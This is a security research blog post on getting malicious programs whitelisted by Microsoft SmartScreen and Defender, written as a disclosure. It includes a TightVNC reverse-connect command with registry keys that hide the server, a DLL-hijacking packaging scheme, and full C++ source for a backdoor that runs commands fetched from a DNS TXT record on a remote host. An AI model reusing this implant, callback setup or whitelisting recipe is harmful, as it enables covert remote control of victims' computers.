Slipping Malware Through Microsoft Security Checks

TL;DR: it is possible to build malicious applications and get them globally whitelisted by Microsoft to pass through both Microsoft SmartScreen and Microsoft Defender security checks.

‎

‎Microsoft SmartScreen is a cloud-based anti-phishing and anti-malware component integrated with different Microsoft products, including operating systems such as Windows 8/10/11, the (now late) Internet Explorer and Microsoft Edge. It determines whether a downloaded file or package is safe by checking it against two different lists, in that order:

• A blacklist with files reported as malicious and sites known to be unsafe. If a match is found, Microsoft SmartScreen shows a warning to let the user know that the resource might be harmful. If not, the next check takes place.

• A whitelist with files that are well known and downloaded frequently. If the file is not on that list, Microsoft SmartScreen shows a warning, advising caution. If it is listed, the file is considered to be safe.

‎

Microsoft Defender (formerly Windows Defender) is a full-blown antivirus solution merged into Microsoft Windows. It was first released as a downloadable free anti-spyware program for Windows XP and was shipped with Windows Vista and Windows 7. It has evolved into a full antivirus program, replacing Microsoft Security Essentials in Windows 8 or later versions.

Whenever an executable file is downloaded using Microsoft Edge, it will go through two different security checks: Microsoft SmartScreen will first check the file upon download and right before saving it. If this check is passed, the file will be saved in the local downloads folder where Microsoft Defender will analyze it (assuming a default configuration).

When Microsoft SmartScreen checks the file against its blacklist, if a match is found, Microsoft Edge will display a warning message to the user, blocking the download. This behavior can be tested, for instance, by trying to download the EICAR anti-malware test file [1].

If no match is found for the file in any of these databases, a milder alert will be shown instead cautioning against downloading or opening the file unless it is indeed trusted, and the user should explicitly allow the file to be saved. An example using an unknown executable file is shown next:

In the final scenario, if the file is whitelisted, it will be downloaded –and the user will be prompted to open it– without any warnings. Below is an example of what happens when downloading a trusted application:

After the executable is saved, it can be run with just a single click on the filename shown in the drop-down control ­­ – while there is a sort of hyperlink intended to open the file, there is no need to hit it. This is where Microsoft Defender comes into play: despite the file being trusted by Microsoft SmartScreen, Microsoft Defender will now check this file against its own black and white lists. If no match is found, it will run a series of checks against the file itself including heuristic analysis and machine learning to determine if it is still safe to run. If any suspicious behavior is observed, the file will immediately be quarantined preventing further execution:

Now, how does an application get whitelisted by these two components? We found this can be achieved by at least three different means:

• Submitting the application for malware analysis: Microsoft allows its customers to submit files for malware analysis, to help developers “validate detection of their products”. If the review was successful, the corresponding security warnings will go away faster, or sometimes even instantly (as we have observed during our tests).
• Buying a code signing certificate: with the former method, if you release an updated version of your application, you will also have to request a new review again. To overcome this problem, it is possible to buy and use code signing certificates such as Extended Validation (EV) or Organization Validation (OV) certificates.
• Reputation: both Microsoft SmartScreen and Microsoft Defender use reputation-based systems, so you can wait until the file becomes commonly downloaded and is whitelisted automatically.

‎

Signed malware is nothing new, so we did not want to go down that road. We did not want to wait indefinitely, hence we chose the first option and submitted our files to review. In doing so we developed two different approaches, both of which worked and we got our malicious applications whitelisted by Microsoft – so we have earned our right to give them funny names:

• Wicked Sidekick: to first choose a trusted executable affected by a vulnerability we could take advantage of, and then prepare an installation package containing the original executable and any side components crafted to exploit that vulnerability.
• Evil Invitee: to develop a brand-new malicious application from scratch.

‎

Wicked Sidekick: Don’t worry about him, he’s just a friend!

For the first scenario, we chose a reputable application such as TightVNC server [2], that comes with very interesting features such as the ability to connect back to a remote listener, as well as different settings that are great for hiding its presence such as disabling the tray icon and keeping the original wallpaper.

From the whole installation package we are only interested in the VNC server executable, tvnserver.exe, which is trusted by most –if not all– reputable antivirus engines.

As (intentionally) shown in former screenshots, Microsoft Edge –as well as Google Chrome and other web browsers– will also download this file with no warnings whatsoever due to its reputation. Note that, just by clicking the downloaded file once, a VNC server will run on the system with its default configuration – and Windows 11 will hide any new tray icons by default unless you configure it otherwise.

Now, while unknowingly having a VNC server running on your system just like that might sound a bit worrying at first, not only the tray icon but having a solid black wallpaper all of a sudden might give you a hint that something is wrong. But TightVNC server is highly customizable in that sense, and it only takes a couple of self-explanatory registry keys to make it discreet:‎

HKCU\Software\TightVNC\Server\RemoveWallpaper
HKCU\Software\TightVNC\Server\RunControlInterface

‎Furthermore, TightVNC server runs in listening mode by default. As a result, unless you are connected directly to the Internet with no routers/firewalls in between (a very uncommon scenario nowadays) the attack surface gets highly limited. Luckily for us, TightVNC server can also connect back to a remote listener on any desired port with a couple of command line switches:‎

tvnserver.exe -controlapp -connect [HOST]:[PORT]

‎However, none of these customizations can be carried out by simply running the official executable we just downloaded, so how can we add those keys to the Windows registry and launch the VNC server pointing back to a remote controlling system?

‎

This is where the fun begins: we took the liberty of analyzing some security aspects of TightVNC server and found it is vulnerable to multiple DLL hijacking issues – disclosure to the vendor on its way. For those interested, there are plenty of great pages detailing the whole process of finding and exploiting such vulnerabilities [3][4].

With this knowledge, we crafted a DLL (we picked profapi.dll but we might have chosen any other in the list as well) containing the code necessary to:

1. Create the registry keys required to hide the application.
2. Terminate the current process.
3. Relaunch the VNC server with the command line switches to call back to a remote listener.

‎

It is fair to say that the VNC server executable used here, tvnserver.exe, is not provided by GlavSoft as a standalone program but as part of the installation package that is downloadable from their website, and that proper permissions are applied to the application folder when deployed –we checked­, for free- which would make a typical binary planting scenario unlikely to happen. The trick here lies in the fact that the whole VNC server functionality is contained within that single executable file which, being part of the original installation package, is already trusted by Microsoft, and that we packed it along with our malicious DLL to be extracted in the same path, hence tvnserver.exe will load it whenever invoked.

‎

We scanned the resulting DLL with Microsoft Defender and it triggered no warnings, which makes sense as the code relies on the presence of TightVNC server in the same folder to work. We also tried downloading this file with Microsoft Edge directly but found that Microsoft SmartScreen did not allow it to be saved automatically – we will dig into the reasons behind this behavior later on.

To ensure that no alarms would ring if this DLL is shipped along the TightVNC server executable, we first submitted the library alone through the Microsoft Security Intelligence submission portal [5], which only requires a Microsoft account. In our case we used a regular Hotmail account identifying ourselves as developers for no particular company – a name, even if fake, must be entered though.

To save you the hassle of going through a never-ending step-by-step sequence of screenshots: once the form is filled and the binary file is submitted, it will be divided into segments each of which will be analyzed separately.

‎

Interestingly, in most of our tests we observed that the file as a whole gets flagged (at first) by the cloud analyzer while the analysis of its different segments throws no detections when complete – the whole automated analysis takes a few minutes.

Regardless of this detection, a human analyst will make the final determination for every submission. In our tests we have observed it can take anywhere from one day to one week for the file to be reviewed – in this particular case we got our file whitelisted after just two days. But it looks like good things come to those who wait, as every single file we sent was determined to be safe in the end:

Funnily enough, once our DLL was whitelisted by Microsoft SmartScreen, the warning shown by Microsoft Edge when downloading it got even worse:

This behavior can be explained: despite being flagged as safe by both Windows SmartScreen and Windows Defender, Microsoft Edge‘s File Type Policies component classifies files by their level of “dangerousness” to manage file downloads. Files from harmless types (such as a .TXT file) can be downloaded freely, while potentially dangerous files like a .DLL are subjected to a higher degree of vetting. This scrutiny aims at a more security-conscious user experience [6].

‎

According to Microsoft, each file type has a danger_level inherited from Chromium’s policies associated to it, which can be one of three values:

• NOT_DANGEROUS means that the file is safe to download, even if the download request was accidental.
• DANGEROUS means that the browser should always warn the user that the download may harm their device.
• ALLOW_ON_USER_GESTURE is more subtle: these files are potentially dangerous, but most likely harmless if the user requests the download. Microsoft Edge will allow these downloads to continue automatically if two conditions are both met:
  1. There is a user gesture associated with the network request that started the download. For example, the user clicked a link to the download.
  2. There is a recorded prior visit to the referring origin (the page that links to the download) before the most recent midnight (that is, yesterday or earlier). This recorded visit implies that the user has a history of visiting the site.

‎

While .DLL files are classified by default as DANGEROUS, executable file types such as .EXE, .COM or .CMD have a danger_level set to ALLOW_ON_USER_GESTURE if unknown, and NOT_DANGEROUS if in the whitelist of well-known applications. Quite convenient, huh?

‎

Having our whitelisted DLL and the trusted –yet vulnerable– TightVNC server executable, we packed them together into a self-extracting (SFX) file, which we conveniently named OneClick.exe, and repeated the process of submitting this file to Microsoft for them to review it. Note that, as the submission process forces us to choose the product that triggers the scan alert, it has to be done twice: one time for Microsoft SmartScreen and the other for Microsoft Defender.

Note in the screenshot above that, once again, the file as a whole is being initially flagged by the cloud scanner as malware while its dissected components are marked safe. In fact, trying to download and run the SFX before being reviewed and approved by Microsoft triggered alerts from both Microsoft SmartScreen and Microsoft Defender, which ultimately detected and blocked the SFX despite both of the files packed on it being whitelisted on their own.

In our tests we have observed this detection occurs for SFX archives created with WinRAR, and while packages created using Iexpress (a tool to create self-extracting packages included with Windows) did not trigger such detection, we experienced inconsistencies in the behavior of the resulting SFX upon execution that made us opt for WinRAR despite this flag. Eventually, as both of the files contained in the package were already considered safe, we expected our package to be included in the list of trusted files. And it was, indeed.

As expected, at this point we were able to download and run the SFX without any warnings whatsoever.

Next is a short video summarizing this Proof-of-Concept scenario, where the system at the top –the attacker box– runs a TightVNC viewer in listener mode, and the system below –the target– is a fully patched Windows 10 system with all available Windows Security options enabled and up to date: 

‎

Evil Invitee: Open up! It’s me, the raider!

In this case we chose to develop a simple –yet malicious– application and sent it to Microsoft for them to review. Once run, the program will poll every minute for the value of a DNS TXT record containing a system command, which will be run. The value of this TXT record (which we control) has a TTL of one minute so we can run a different command every minute, turning it into a sort of Command and Control (C&C) server for our application. Want some code? There we go:

‎

Source code for runTXT.cpp:

#include <windows.h>
#include <iostream>
#include <windns.h>

void runTXT() {
// Define variables for the DNS query
PDNS_RECORD pDnsRecord = NULL;
DNS_STATUS dnsStatus;

// Perform DNS query to retrieve the TXT record(s)
dnsStatus = DnsQuery_W(L "cmd.versprite.services", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, & pDnsRecord, NULL);

if (dnsStatus == ERROR_SUCCESS) {
// Iterate over the list of TXT records (in case there is more than one)
PDNS_RECORD pTxtRecord = pDnsRecord;
while (pTxtRecord != NULL) {
if (pTxtRecord -> wType == DNS_TYPE_TEXT && pTxtRecord -> Data.TXT.dwStringCount > 0) {
// Extract the command from the TXT record and run it
const wchar_t * txtdata = pTxtRecord -> Data.TXT.pStringArray[0];
STARTUPINFOW si = {

sizeof(si)
};
PROCESS_INFORMATION pi;

if (CreateProcessW(nullptr, const_cast < LPWSTR > (txtdata), nullptr, nullptr, FALSE, CREATE_NO_WINDOW, nullptr, nullptr, & si, & pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
pTxtRecord = pTxtRecord -> pNext;
}

// Free the memory allocated for the DNS record
DnsRecordListFree(pDnsRecord, DnsFreeRecordList);
}
}

VOID CALLBACK TimerCallback(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ UINT_PTR idEvent,
_In_ DWORD dwTime
) {
// Call runTXT() function here
runTXT();
}

int WINAPI WinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
) {
// Set up the timer to call runTXT() every minute
SetTimer(NULL, 0, 60000, TimerCallback);

// Enter message loop to keep the program running
MSG msg;
while (GetMessage( & msg, NULL, 0, 0)) {
TranslateMessage( & msg);
DispatchMessage( & msg);
}

return 0;
}

It is worth noting that no obfuscators were used, the TXT record queried is cmd.versprite.services, and the executable is named runTXT.exe. No need to hide our intentions even.

‎

Same as before, we include next a short video summarizing this Proof-of-Concept scenario where the victim runs a fully patched Windows 10 system with all available Windows Security options enabled and up to date:

‎

Bonus track: what if these files are downloaded with other browsers?

We have nothing personal against Microsoft or its browsers, of course – many others might, but that’s another story [7]. However, from the perspective of a pentester/researcher, we observed that the attack vectors exposed can be more reliably exploited when targeting users through Microsoft Edge than using other browsers. Here is a summary of what we found when trying Google Chrome and Mozilla Firefox.

‎

Google Chrome

Using the latest version of Google Chrome at the time of writing these lines, v122.0.6261.112, we first tried to download our whitelisted SFX and noticed it got flagged as dangerous:

Then we guessed that –maybe– Google Safe Browsing was detecting some sort of signature regarding the SFX packing using WinRAR, as we observed when submitting it to Microsoft for their approval. We confirmed that it was in fact the case, as no warnings were –at first– shown if the self-extracting package downloaded was built using Iexpress instead:

We also tried downloading our sneaky agent runTXT.exe and found Google Chrome will, at first, download and save the file without any complaints and will also allow it to run with just one click, as you can see in my own desktop right now.

Then we observed an interesting behavior: after some time (a few hours) of seamless downloads, it started being flagged as suspicious in subsequent download attempts, enticing users to run a malware scan on it.

We took our chances and tried the option to scan it for malware, and it passed the test every time.

However, having to go through that extra step to download the file is most likely to discourage many users from running it. Remember that, despite getting Google’s green light, if we do not get our program whitelisted for Microsoft Defender first it will catch our program anyway. Also, Microsoft Edge is shipped with Windows and they are always trying to push it to their users – which sufficiently explains the general contempt. This last point becomes especially relevant if the link to the file is clicked from inside a Microsoft application, such as Microsoft Teams or Microsoft Outlook, since links will be opened using Microsoft Edge despite the default browser configured in the system. It is also possible to force a page to be opened using Microsoft Edge from other browsers using the microsoft-edge protocol handler.

In summary, while we have a window of opportunity for a successful compromise using Google Chrome, as we do not –yet– know the detailed mechanisms through which a file is whitelisted by Google Safe Browsing, the safest way to go from an attacker’s perspective is to target Microsoft Edge.

‎

Note: after a couple of days (while we were wrapping up this text) we observed that our binaries seem to have been conclusively whitelisted by Google Safe Browsing, as we stopped observing any warnings in our tests from multiple different systems –while we cannot be sure yet, we will keep you all posted.

‎

Mozilla Firefox

Regarding this browser, well, it is just an attacker’s dream scenario: it downloaded every file we tried without even asking, even DLL files on their own – posing a considerable security risk assuming the Windows Downloads folder is shared by default among different browsers and applications, hence any executable in that folder could eventually be subject to DLL hijacking attacks. It will also run executables with just one click, same as Microsoft Edge and Google Chrome.

However, considering it only accounts for 3% of the market share and it is not installed by default in Windows systems, we did not focus on attack vectors involving it – for now, there is more to come.

‎

References

• [1] EICAR Anti-Malware Test File:
  https://www.eicar.org/download-anti-malware-testfile
• [2] TightVNC Server Download Page:
  https://www.tightvnc.com/download.php
• [3] Hijacking DLLs in Windows:
  https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
• [4] DLL Hijacking – Basics:
  https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1
• [5] Microsoft Security Intelligence Submission Portal:
  https://www.microsoft.com/en-us/wdsi/filesubmission
• [6] Identify and Interrupt Downloads of Potentially Dangerous Files:
  https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions
• [7] Microsoft to Stop Forcing Windows 11 Users Into Edge in EU Countries:
  https://www.theverge.com/2023/9/5/23859537/microsoft-windows-11-default-browser-links-eu-eea-changes